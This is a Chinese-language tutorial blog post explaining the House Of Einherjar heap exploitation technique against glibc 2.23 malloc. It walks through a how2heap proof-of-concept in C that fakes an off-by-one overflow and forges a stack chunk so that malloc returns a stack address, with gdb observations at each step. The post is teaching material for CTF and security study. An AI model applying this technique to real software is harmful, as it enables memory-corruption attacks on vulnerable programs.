好好说话之House Of Einherjar

16 篇文章 87 订阅

前言

又鸽了好久,抱歉哈~ 总的来说House Of Einherjar这种利用方法还是挺简单的,有点像chunk extend/shrink技术,只不过该技术是后向,并且利用top_chunk合并机制,个人觉得杀伤力比较强大

往期回顾:
(补题)HITCON 2018 PWN baby_tcache超详细讲解
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
(补题)LCTF2018 PWN easy_heap超详细讲解
好好说话之Tcache Attack(3):tcache stashing unlink attack
好好说话之Tcache Attack(2):tcache dup与tcache house of spirit
好好说话之Tcache Attack(1):tcache基础与tcache poisoning
好好说话之Large Bin Attack
好好说话之Unsorted Bin Attack
好好说话之Fastbin Attack(4):Arbitrary Alloc
(补题)2015 9447 CTF : Search Engine
好好说话之Fastbin Attack(3):Alloc to Stack
好好说话之Fastbin Attack(2):House Of Spirit
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

House Of Einherjar

House Of Einherjar这种堆块的利用方式与之前的有些区别,该技术可以强制使得malloc返回一个几乎任意地址的chunk。和之前的利用技术有一些区别,之前我们都是尽可能的避免释放堆块与top_chunk合并,因为释放之后的堆块可能会进行复用,比如在挂hook的时候我们需要两次对同一个释放堆块进行写操作。但是House Of Einherjar这种技术反而是,当释放堆块下一个块是top_chunk的时候,free会与相邻后向地址进行合并

涉及的原理

free函数:后向合并

free函数后向合并关键代码如下(glibc/malloc/malloc.c):

在这里插入图片描述

解读一下这段代码:

  • 4002:判断被释放堆块p的inuse标志位是否为0,如果为0则进行if中的内容,相当于一个检查。通过这个点说明我们至少要通过堆溢出去覆盖掉相邻高地址位的inuse标志位,最常见的方式就是off-by-one
  • 4003:记录相邻堆块p的prev_size
  • 4004:size为size + prev_size
  • 4005:堆块p的指针最后由chunk_at_offset()函数决定,chunk_at_offset()函数如下图,作用是将原本p指针位置加上s偏移后的位置作为合并堆块的新指针。那么带回到free函数中,意思就是原本p指针需要减去(向后)一个后向堆块size(p->prev_size)大小的偏移后得到合并堆块的新指针
  • 4006:unlink检查
    在这里插入图片描述

free函数:与top_chunk合并

当被释放堆块紧邻top_chunk,那么释放后会与top_chunk进行合并

在这里插入图片描述

可以看到执行set_head()函数后,合并堆块的size会变为两个堆块的总和,并且top_chunk的指针会指向被合并的堆块p的位置。就相当于top_chunk把p给吞了,并取代了p的位置

how2heap例子验证

由于wiki上面那个例子讲真没看懂,所以在how2heap里面找了找,发现了有这个例子,下面是我精简之后的程序源码:

  1 //gcc -g hollk.c -o hollk
  2 //glibc-2.23
  3 
  4 #include <stdio.h>
  5 #include <stdlib.h>
  6 #include <string.h>
  7 #include <stdint.h>
  8 #include <malloc.h>
  9 
 10 int main()
 11 {
 12         setbuf(stdin, NULL);
 13         setbuf(stdout, NULL);
 14 
 15         uint8_t* a;
 16         uint8_t* b;
 17         uint8_t* d;
 18 
 19         a = (uint8_t*) malloc(0x38);
 20         printf("a: %p\n", a);
 21     
 22         int real_a_size = malloc_usable_size(a);
 23         printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:%#x\n", real_a_size);
 24 
 25         size_t fake_chunk[6];
 26     
 27         fake_chunk[0] = 0x100;
 28         fake_chunk[1] = 0x100;
 29         fake_chunk[2] = (size_t) fake_chunk;
 30         fake_chunk[3] = (size_t) fake_chunk;
 31         fake_chunk[4] = (size_t) fake_chunk;
 32         fake_chunk[5] = (size_t) fake_chunk;
 33         printf("Our fake chunk at %p looks like:\n", fake_chunk);
 34 
 35         b = (uint8_t*) malloc(0xf8);
 36         int real_b_size = malloc_usable_size(b);
 37         printf("b: %p\n", b);
 38 
 39         uint64_t* b_size_ptr = (uint64_t*)(b - 8);
 40         printf("\nb.size: %#lx\n", *b_size_ptr);
 41         a[real_a_size] = 0;
 42         printf("b.size: %#lx\n", *b_size_ptr);
 43 
 44         size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
 45         printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
 46         *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
 47 
 48         fake_chunk[1] = fake_size;
 49 
 50         free(b);
 51         printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
 52 
 53         d = malloc(0x200);
 54         printf("Next malloc(0x200) is at %p\n", d);
 55 }

简单的描述一下这个程序,首先创建了一个size为0x48大小的chunk_a,并将其malloc指针赋值给指针变量a。接下来创建了一个数组fake_chunk,并在数组0和1下标处赋值0x100、在数组下标2、3、4、5处赋值fake_chunk的起始地址。接下来创建了一个size为0x108大小的chunk_b,并且其malloc指针赋值给变量b。然后将chunk_b的inuse标志位修改成0,将chunk_b的prev_size和fake_chunk的size均设置为chunk_b到fake_chunk的偏移。释放chunk_b后重新申请一个0x300大小的堆块

调试一下

首先在第25行下断点,执行下面的代码:

 12   setbuf(stdin, NULL);
 13   setbuf(stdout, NULL);
 14 
 15   uint8_t* a;
 16   uint8_t* b;
 17   uint8_t* d;
 18 
 19   a = (uint8_t*) malloc(0x38);
 20   printf("a: %p\n", a);
 21 
 22   int real_a_size = malloc_usable_size(a);
 23   printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rou   nding: %#x\n", real_a_size);

这段代码我们关注的点其实就是创建了一个size为0x48(0x38+0x10)大小的chunk_a

在这里插入图片描述

接下来我们在第35行下断点,执行下面的代码:

 25   size_t fake_chunk[6];
 26 
 27   fake_chunk[0] = 0x100;
 28   fake_chunk[1] = 0x100;
 29   fake_chunk[2] = (size_t) fake_chunk;
 30   fake_chunk[3] = (size_t) fake_chunk;
 31   fake_chunk[4] = (size_t) fake_chunk;
 32   fake_chunk[5] = (size_t) fake_chunk;
 33   printf("Our fake chunk at %p looks like:\n", fake_chunk);

这里创建了一个数组fake_chunk,并将其中填满数据,在地3行会输出fake_chunk的地址,使用gdb看一下这个位置

在这里插入图片描述

这里将fake_chunk的prev_size、size部分设置为0x100,fd、bk、fd_nextsize、bk_nextsize设置为fake_chunk自身地址,这样做是为了绕过free()函数后向合并时最后的unlink检查

接下来我们在第39行下断点,执行下面的代码:

 35   b = (uint8_t*) malloc(0xf8);
 36   int real_b_size = malloc_usable_size(b);
 37   printf("b: %p\n", b);

这段代码其实就是创建了一个size为0x108(0xf8+0x10)大小的chunk_b,我们来看一下:

在这里插入图片描述

接下来将断点下在第41行,完成uint64_t* b_size_ptr = (uint64_t*)(b - 8);这段代码:

在这里插入图片描述

这里其实就是将chunk_b的malloc指针-0x8的位置,即chunk_b的size值放在了b_size_ptr变量中。这一步是为了更好的演示接下来溢出后的对比

那么接下来将断点下载第44行,我们看一下a[real_a_size] = 0;这段diamante运行之后的结果

在这里插入图片描述

a[real_a_size] = 0这段代码中的a[n]是以chunk_a的malloc指针为起始的指针数组,那么数组下标n指向的就是第n+1个字节的地址,也就是说a[real_a_size]其实指向的是以chunk_a的malloc指针为起始,第real_a_size + 1个字节的位置等于0。其实这里模拟的就是off-by-one的过程。那么这样一来chunk_b的inuse标志位就被覆盖成了0

接下来我们在第46行下断点,执行size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);,分析一下这个计算过程:

在这里插入图片描述

fake_size是由b-sizeof(size_t)*2和(uint8_t*)fake_chunk相减得到的:

  • b-sizeof(size_t)*2:chunk_b的malloc指针减去两个地址位宽,也就是chunk_b的头指针
  • (uint8_t*)fake_chunk:即是伪造堆块的头指针

那么这样一来就可以很明显的看出fake_size,即是chunk_b头指针距离fake_chunk头指针的偏移,需要注意的是我们看到的偏移为0xffffd5555575a140这代表着偏移其实是一个负数

接下来我们将断点下在第50行,执行下面的部分代码:

 46   *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
 47 
 48   fake_chunk[1] = fake_size;

real_a_size-sizeof(size_t)的位置其实就是chunk_a与chunk_b公用的chunk_b的prev_size位置,也就是说这一步模拟的是通过对chunk_a的data赋值后,影响chunk_b的prev_size,根据第46行的代码,我们可以知道chunk_b的prev_size背负上了fake_size。接下来又将fake_chunk的size部分也修改成了fake_size

在这里插入图片描述

将chunk_b与fake_chunk部署完成后,像上图一样摆在一起,这看起来就有那味儿了。chunk_b的prev_size等于fake_chunk的size,这个size恰巧又是chunk_b到fake_chunk的偏移,更巧的是chunk_b的inuse标志位为0

在这里插入图片描述

那么如果chunk_b被释放掉,首先会去检查其inuse标志位,发现为0,这就意味着存在一个相邻地址的堆块也是处于释放状态的,那么就会根据chunk_b的prev_size先前找是否存在一个大小为0xffffd5555575a140大小的堆块,结果根据chunk_b的头指针+0xffffd5555575a140处找到了fake_chunk,fake_chunk的size正是我们部署的0xffffd5555575a140

在这里插入图片描述

根据free()函数后向合并机制,由于我们部署了fake_chunk的fdbkfd_nextsizebk_nextsize,所以可以绕过unlink检查,那么chunk_b与fake_chunk就被合并称为一个大小为fake_size + b_size的大堆块,并且合并大堆块的头指针即是fake_chunk的头指针0x00007fffffffdf00

在这里插入图片描述

这还不算完,根据top_chunk合并机制,由于chunk_b是紧邻top_chunk的,那么在chunk_b与fake_chunk合并之后top_chunk会将合并后的大堆块整个“吞掉”。新的top_chunk的size变成了old_top_size + fake_size + b_size。并且top_chunk的头指针会变成合并堆块的头指针,即fake_chunk的头指针0x00007fffffffdf00

接下来我们将断点下在第54行,执行free(b)malloc(0x200)这两步操作。free(b)会完成上述的执行过程,而因为bin中没有能够满足malloc(0x200)的空闲块,所以会向top_chunk申请一个size为0x210(0x200+0x10)大小的堆块。由于此时top_chunk的头指针是fake_chunk0x00007fffffffdf00,所以最后被启用的堆块即是以fake_chunk为头指针0x00007fffffffdf00,size为0x210大小的堆块

这里由于pwndbg插件的heap指令无法识别heap段意外的区域,所以我们直接运行结束,打印出这个从top_chunk申请的堆块的头指针:

在这里插入图片描述

可以看到,我们伪造的fake_chunk就会被正式以堆块的形式被启用了

总结

利用该方法需要注意的三点

  • 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分
  • 需要计算目的 fake_chunk 与 chunk_b 地址之间的差,所以需要泄漏地址
  • 需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测

在这里插入图片描述

  • 16
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 8
    评论
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hollk

要不赏点?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值